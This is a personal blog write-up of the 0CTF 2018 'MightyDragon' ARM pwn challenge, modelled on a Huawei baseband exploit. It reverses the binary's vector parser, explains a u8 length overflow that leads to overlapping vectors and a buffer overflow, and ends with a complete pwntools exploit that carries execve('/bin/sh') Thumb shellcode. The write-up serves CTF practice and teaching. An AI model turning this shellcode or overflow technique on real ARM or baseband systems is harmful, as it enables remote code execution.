0CTF2018 Qual MightyDragon PWN Write-up

Introduction

A few days ago, I happened to know that this is a simplified version of Keen Team’s exploit on Hua Wei baseband. Therefore, I decide to take this as a practice for ARM exploitation. This post is based on the write-up from 217[3] and KeenTeam[4]. I will add more reversing engineering details in this post.

Arm Exploitation

According to my test on raspberry pi, the stack and heap are not executable as below:

So exploit only works if the binary not enforced with ASLR and DEP, i.e., the challenge environment.

For debugging this challenge, I recommend reading [1] first.

Vulnerability Analysis

There is a very important data structure as below:

struct vector
{
    u8 id;
    u8 len;
    u8 vec_buf[len];
}

Same as the note in [3], there is a buffer with variable length in the data structure. This is not a standard C syntax. The final payload looks like below:
{id1, len1, [ vec_buf1 ]}, {id2, len2, [ vec_buf2 ]} , {id3, len3, [ vec_buf3 ]}

Pre-Processing

There is a global_context variable at 0x2205c, which will be used heavily later.

In function 0x11028, different function pointers will be invoked according to the id. Next I will introduce the fun0, fun2, fun6 and fun8 involved in the exploit.

fun0(char *input_buffer, u8 &curLength, char *global_context) // at 0x10919
{
    u8 cur = *curLength;
    if(input_buffer[0] != "\x00")
    {
        //code to update curLength
        return 0;
    }
    else
    {
         u8 vec_length = (u8)input_buffer[cur + 1];
         if(vec_length == 2)
         {
               char ch1 = vec_buf[0];
               char ch2 = vec_buf[1];
               global_context[4] = ch1 + ch2;
               *curLength = *curLength + 4;
               global_context[0] |= 1;
         }
    }
}

fun2 is a little bit complicated. To pass the final validity check in the end, we have to somehow execute the following code:

if(val <= (bufLen + 2) * 8)
{
    update curLength;
    global_context[0] |= 4;
    return 0;
}

The purpose of fun6 is confusing to me. The functionality of this function is given below:

fun6(char *input_buffer, u8 &curLength, char *global_context) // at 0x10da0
{
    if(global_context[0] & 0x40 != 0)
    {
          //update curLength;
          return 0;
    }
    if(cur_vec->bufLen == 1)
    {
         global_context[2] = ((cur_vec->vec_buf[0])>>2);
         global_context[0] |= 0x40;
         update curLength;
         return 0;
    }
}

According to my final text, fun6 seems to have no effect on the final exploit. But I do not understand why [3] and [4] both take this function into consideration.

fun8 takes the copies the vector buffer into the global_context.

fun6(char *input_buffer, u8 &curLength, char *global_context) // at 0x10f59
{
    if(global_context[0] & 0x80 != 0)
    {
          //update curLength;
          return 0;
    }
    if(cur_vec->bufLen == 0)
    {
          //some code
          return 1;
    }
    else
    {
          void *dst = global_context + 0x68;
          copy(dst, 0x100, cur_vec->vec_buf, cur_vec->len);
          *(global_context+0x64) = cur_vec->len;
          global_context[0] |= 0x80;
          //update curLength;
          return 0;
    }
}

Vulnerability Digging

Then we come the critical part of this challenge. Function 0x11200 is the key function in this exploit. The pseudo code in [3] is well written enough. So I will not take space to write about the whole pseudocode here.

In fun8, a payload is copied into global_context, which is also of the following pattern:
{id1, len1, [ vec_buf1 ]}, {id2, len2, [ vec_buf2 ]} , {id3, len3, [ vec_buf3 ]}

This time, those vectors will be sorted according to the vector id.
The algorithm of identifying each vector is given below:

curLength = 0;
while(curLength < *(global_context+0x64))
{
      //local_input is a copy of payload in vector 8
      recordVecByID(local_input, &curLength, array+3*( *(local_input + curLength)));
}

void recordVecByID(local_input, u8 *curLength, BYTE *dstAddress)
{
     length = *curLength;
     dstAddress[0] = * ( (BYTE*)(local_input + length) ); //vec id
     dstAddress[1] = * ( (BYTE*)(local_input + length + 1) ); //vec length
     dstAddress[2] = v3; //current total length
     *curLength = *curLength + dstAddress[1] + 2;
}

At first glance, it seems that there is no problem about this code. But actually there exists an integer overflow vulnerability in this code. Type of curLength is u8 and vector length is under attacker’s control, which means that we may create overlapping vectors during exploitation.

Then we come to the sorting part of this challenge.

curLength = 0;
for(i=0; i<=19; i++)
{
      if(ID i exists)
      {
               vecLen = *(array+i*3+1);
               copy(global_context+0x68, vecLen+2, local_context + *(array+i*3+2), vecLen+2);
      }
}

As noted above, the problem still comes from the vecLen come from user input. It is easy to trigger a buffer overflow here. But the annoying part of this challenge is that we have to trigger the buffer overflow 101 times. In the first 100 times, the destination address is a global address. In the 101th time, the destination address is a stack address.

Exploitation Plan

From the pseudo code above, we can find that the vec->len could be some large value and make the value of total length less than previous round, our target is to make the payload stay unchanged after each round. I think the example in [3] has explained clearly enough. I will just describe them briefly here.

For a normal process in sub_11200:
{0, 0}, {15, 3, 0xd0, 15, 15}, {2, 3, 2, 2, 2}, {1, 4, 1, 1, 1, 1}
After the sorting algorithm, the sorted vector will be:
{0, 0}, {15, 3, 0xd0, 15, 15}, {1, 4, 1, 1, 1, 1}, {2, 3, 2, 2, 2}

For a malicious process in sub_11200
{0, 0}, {15, 5, 0xd0, 15, 15, 3, 4}, {2, 3, 2, 2, 2}, {1, 0xf7, 1, 1}
The parsing process on the vectors will be:
Total bytes 0: {0, 0}
Total bytes 2 (0+2): {15, 5, 0xd0, 15, 15, 3, 4}
Total bytes 9 (2+5+2): {2, 3, 2, 2, 2}
Total bytes 14 (9+3+2): {1, 0xff, 1, 1} with extra 0xfd padding 0’s
Total bytes 7 (14 + 0xf7 + 2): {3, 4, 2, 3, 2, 2} The overlapping vector

The copying sequence from the local buffer to the target address will be arranged according to the vector id, i.e., {0, 15, 1, 2, 3}

At this point, we can get a rough exploitation plan for this challenge.
(1) Use the vector of id 1 to create overlapping vector (id 3)
(2) Use the vector of id 2 to trigger buffer overflow vulnerability
(3) Use the overlapping vector to restore the payload to its original state.

Exploit

The final exploit is also given on my github repo.[5]

from pwn import *
import pwnlib

DEBUG = int(sys.argv[1]);

if(DEBUG == 1):
    env = {"LD_PRELOAD":"./libc.so.6"};
    r = process(["qemu-arm-static", "./ld-linux-armhf.so.3", "./balong"], env=env);
elif(DEBUG == 2):
    env = {"LD_PRELOAD":"./libc.so.6"};
    r = process(["qemu-arm-static", "-g", "12345", "./ld-linux-armhf.so.3","./balong"], env=env);
    raw_input("Debug");


context.arch = "thumb"
shellcode = "";
shellcode += asm('eors r2, r2');
shellcode += asm('add r0, pc, 8');
shellcode += asm('push {r0, r2}');
shellcode += asm('mov r1, sp');
shellcode += asm('movs r7, 11');
shellcode += asm('svc 1');

def makeVector(vecid, length, vec):
    ans = "";
    ans = p8(vecid) + p8(length) + vec;
    return ans;

def fun0():
    vector = p8(2) + p8(4);
    return makeVector(0, 2, vector);

def fun2():
    binaryBuf = "00" + "00000011" + "1111" + "1101" + "0101" + "00";
    vector = translate(binaryBuf);
    return makeVector(2, 3, vector);

def translate(buf):
    length = len(buf);
    ans = '';
    for i in range(0, length/8):
        tmpBuf = buf[8*i: 8*i + 8];
        val = int(tmpBuf, 2);
        ans += chr(val);
    return ans;

def fun6():
    return makeVector(6, 1, "\x01");

def fun8():
    buf = "";
    buf += p8(0) + p8(3) + "\x10\x00\x40";

    x = 39;
    y = 44;
    buf += p8(15) +  p8(x); 

    tmpbuf = "\xd0" + shellcode + "/bin/sh\x00";
    tmpbuf = tmpbuf.ljust(x-2, 'A');
    tmpbuf += p8(3) + p8(y+4);

    buf += tmpbuf;
    
    buf += p8(2) + p8(y) + p32(0x220cd)* (y/4);

    buf += p8(1) + p8(0xfa-y)

    log.info("Buf length: %d" % len(buf));
    return makeVector(8, len(buf), buf);

def exploit():
    payload = "\x00";
    payload += fun0();
    payload += fun2();
    #payload += fun6();
    payload += fun8();
    r.send(payload);
    r.interactive();

exploit();

Conclusion

At this point, I still do not know what’s the point of fun6. Even if I comment out the fun6 function in my exploit, the exploit seems to work still. Maybe I need some time to take a deeper look in the code. More information about this challenge could be found in [6].

Reference

[1] https://medium.com/@hocsama/svattt-2017-hello-arm-1888dab81a9d
[2] http://www.freebuf.com/vuls/181115.html
[3] https://david942j.blogspot.com/2018/04/write-up-0ctf-quals-2018-pwn1000-mighty.html
[4] https://gist.github.com/Jackyxty/712d8a6e5f4aa721d63f2fdd50cd6286
[5] https://github.com/dangokyo/ARM_Exploitation/tree/master/0CTF2018_Qual_MightyDragon
[6] https://speakerdeck.com/marcograss/exploitation-of-a-modern-smartphone-baseband-white-paper

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.